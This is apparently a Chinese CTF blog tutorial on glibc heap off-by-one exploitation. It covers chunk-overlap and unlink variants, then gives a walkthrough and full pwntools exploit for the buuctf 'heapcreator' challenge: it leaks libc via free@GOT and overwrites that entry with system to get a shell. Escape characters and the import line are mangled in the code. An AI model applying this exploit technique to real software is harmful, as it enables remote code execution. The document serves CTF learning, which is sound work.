堆的off-by-one利用

  • 堆的off-by-one利用已关闭评论
  • 10 views
  • A+

off-by-one介绍

off-by-one在缓冲区溢出中有时出现,CTF比赛中常出现在堆中,有时栈也会有off-by-one的漏洞,关于栈的off-by-one漏洞可以看一下https://www.anquanke.com/post/id/183873,作者写的关于栈的off-by-one利用很容易理解。

简介

堆利用中的off-by-one属于堆溢出(off-by-one也会出现在栈、bss上)的一种特殊情况,它只溢出一个字节,而正巧通过这溢出的一个字节即可完成下一个chunk header的修改。造成off-by-one的原因除了程序员设计时不严谨外还有错误使用函数。

产生原因

off-by-one常见的产生原因有两种:

1、程序循环时不小心多循环了一次,如我们只想程序循环输入16次,利用for循环正确的做法应该是for(int i=0;i<16;i++),而有时会写成for(int i;i<=16;i++)机会导致多输入一个字节,此时的输入可能是我们可控的任意字节。

2、在使用strlen()函数计算字符串长度时不会将'x00'计算在内,后边如果使用strcpy()函数复制字符串,strcpy()会使复制的字符串最后加上一个'x00',此时的输入为'x00',不可控但也能利用。

利用思路

产生原因中我们提到了两种溢出,第一种输入的字节可控,第二种不可控,如果输入可控我们可以直接对chunk的最低字节进行溢出修改完成chunk overlapping的目的,不可控我们也能利用chunk的size最低位代表前一个chunk是否正在使用的作用来触发unlink。

详细分类的话:

off-by-one overwrite allocated、off-by-one overwrite freed、null byte off-by-one能够利用chunk overlapping。

off-by-one small bin、off-by-one large bin能够利用unlink。

关于不可控的字节溢出为'x00'时要注意一点,因为chunk的内存分配问题,有时chunk分配内存时可能会因为堆字节对齐导致少分配一部分内存,缺少的内存用后面chunk的prev_size代替,这时的'x00'就无法覆盖下一个size的inuse位,也就无法伪造当前chunk释放的假象无法使用unlink。

off-by-one overwrite allocated

wKg0C2CIpsOAAaMjAAAtG8YQj1U012.png

off-by-one overwrite allocated是像上图结构这样先申请3个chunk,chunk1是off-by-one产生的chunk,通过chunk1溢出chunk2的size,将chunk2的size大小改为chunk2_size+chunk3_sizie(注意不要使inuse为1,否则会因为chunk1触发unlink导致崩溃),然后free chunk2,这时因为chunk2的size被修改为chunk2和chunk3的size之和,再次申请一个size大小为chunk2和chunk3的size之和的chunk4,此时的chunk4正好包含chunk2和chunk3,这时我们同时控制了 两个chunk3。

off-by-one overwrite freed

wKg0C2CIpvCAc9qqAAAlzsSBFNI433.png

off-by-one overwrite freed与off-by-one overwrite allocated步骤类似,也是通过chunk1修改chunk2的size完成控制chunk3的目的,在chunk2 free时被修改size后直接申请chunk4即可。

null byte off-by-one

wKg0C2CIrAKANFnCAABTWk3Ys2g936.png

off-by-one null byte较为复杂,它是通过chunk1修改chunk2的inuse位伪造chunk1被free的假象,然后申请不属于fast bin的chunk1-1和chunk1-2,此时的chunk1-1和chunk1-2都在之前的chunk1中,然后free chunk1,再申请和chunk1 size大小相同的chunk3,此时的chunk3就是之前的chunk1,现在chunk3和chunk1-2指向相同的内存区域。

off-by-one small bin

wKg0C2CIrCWAe8vMAAAz5wL8HOE298.png

通过chunk1溢出的‘x00’将chunk2的inuse位修改,再修改chunk2的prev_size,然后提前在chunk1中布置好fake_chunk,free chunk2就会触发unlink。

off-by-one large bin

wKg0C2CIrDqAVZooAAAzpENWTKw456.png

与off-by-one small bin类似。

off-by-one例题

这里我们拿buuctf上的一道堆题heapcreator说一下off-by-one的使用。

检查保护

wKg0C2CIrEuAJEhTAABCUgIpsLc603.png

没开PIE。

运行查看

wKg0C2CIrGOAJc6QAACA8HF1soM711.png

简洁的菜单题,有创建,编辑,打印和删除的功能

程序分析

ida反汇编:

main函数:

wKg0C2CIrHaACjpGAACrW6KUk1E990.png

main函数选择进入不同函数。

create函数:

wKg0C2CIrIaAUCFXAAENv0YnA5E192.png

程序自己创建的0x10大小的heaparray chunk指针保存用户创建的chunk指针和大小。

edit函数:

wKg0C2CIrJiADEtOAADEd5eqx68363.png

第19行那里存在off-by-one漏洞,可以溢出一个字节。

show函数:

wKg0C2CIrKiAUDVyAACaCsD06d0152.png

可以打印输入的信息,用这个函数打印libc地址等。

delete函数:

wKg0C2CIrLaAKPevAADOnU90kOo311.png

先free用户自定义的chunk,再free程序自定义的0x10大小的chunk。

思路与利用:

上面就一个off-by-one的漏洞,因为堆的内存可以复用,那么我们在构造堆时就构造好能够跳过prev_size的堆直接溢出size。我们申请2个chunk,第一个chunk0大小为0x18(为了使堆的字节不对齐后面复用chunk1的prev_size覆盖chunk1的size),第二个chunk2大小为0x10。通过off-by-one覆盖chunk1的size导致chunk overlapping能够控制一个chunk的指针,再通过控制的chunk的指针泄露libc地址,得到后libc基址后得到system_got,再利用前面控制的那个chunk指针覆盖一个got执行system(“/bin/sh”)即可getshell。

具体步骤:

创建两个chunk并修改chunk1的size:

create(0x18,"aaaa") #chunk0

create(0x10,"bbbb") #chunk1

edit(0, "/bin/shx00" +"a"*0x10 + "x41")

写入的/bin/shx00后面我们可以直接使用。

正常创建没有溢出的chunk结构:

wKg0C2CIrMyAFlxqAADDOmjbtJE201.png

红色框内的是chunk0,蓝色框内的是chunk1,每个框内的第一个0x21都是程序自己创建的0x10大小保存用户创建chunk的chunk,正好复用的prev_size能够溢出下一个chunk的size。

这是溢出之后伪造的chunk结构:

wKg0C2CIrN2Aa2XuAACxVBcjam0678.png

伪造后chunk内存布局(这里我将''/bin/sh''替换成了aaaaaaaa)如上,这时free chunk1就能伪造从0x6032e0处开始的一个0x40大小的chunk,free chunk1后就会使用户定义的chunk1和程序自己定义的0x10大小的chunk重叠。

delete(1)

create(0x30,p64(0)*4 +p64(0x30) + p64(free_got))

free chunk1造成chunk overlapping后再申请一个0x30大小的chunk即可同时控制现在申请的chunk1和后面程序定义的chunk,新申请的chunk1从0x6032b0处开始,chunk1程序自定义的chunk从0x6032f0开始,这时我们就能控制0x603300处的指针了,之前已经将free_got的地址写入新创建的chunk1中了,后面泄露free_got地址。

这是重新申请后的chunk结构:

wKg0C2CIrO2AGi7JAACweD0nA0c717.png

再通过新创建的chunk1打印free_got的地址:

show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")

free_addr = u64(data.split("n")[0].ljust(8,"x00"))
libc = free_addr - 0x83940
print "libc:",hex(libc)
system = libc + 0x45390

最后用system_got的地址覆盖free_got中的内容即可:

edit(1,p64(system))

delete(0)

p.interactive()

exp

from pwn import

from LibcSearcher import *

p=remote('node3.buuoj.cn',27304)

def create(size,content):

p.recvuntil(":")

p.sendline("1")

p.recvuntil(":")

p.sendline(str(size))

p.recvuntil(":")

p.sendline(content)

def edit(idx,content):

p.recvuntil(":")

p.sendline("2")

p.recvuntil(":")

p.sendline(str(idx))

p.recvuntil(":")

p.sendline(content)

def show(idx):

p.recvuntil(":")

p.sendline("3")

p.recvuntil(":")

p.sendline(str(idx))

def delete(idx):

p.recvuntil(":")

p.sendline("4")

p.recvuntil(":")

p.sendline(str(idx))

free_got = 0x602018

create(0x18,"aaaa")

create(0x10,"bbbb")

edit(0, "/bin/shx00" +"a"*0x10 + "x41")

delete(1)

create(0x30,p64(0)*4 +p64(0x30) + p64(free_got))

show(1)

p.recvuntil("Content : ")

data = p.recvuntil("Done !")

free_addr = u64(data.split("n")[0].ljust(8,"x00"))

libc = free_addr - 0x83940

system = libc + 0x45390

edit(1,p64(system))

delete(0)

p.interactive()

ps:上面的def函数因为编辑问题没有对齐。

结语

堆题要多调试多构想,希望大佬能够斧正可能存在的错误及不足,谢谢。

参考:

https://ctf-wiki.org/pwn/linux/glibc-heap/off_by_one/

相关推荐: vulnhub: Momentum:1

vulnhub: Momentum:1 介绍: momentum:1模拟了一台带有漏洞的web服务器,于四月份在vulnhub和hackmyvm上架,涉及到的漏洞点有:敏感信息泄露、redis配置疏漏导致的数据库远程登录等,学习一下相关漏洞,并在本文记录一下渗…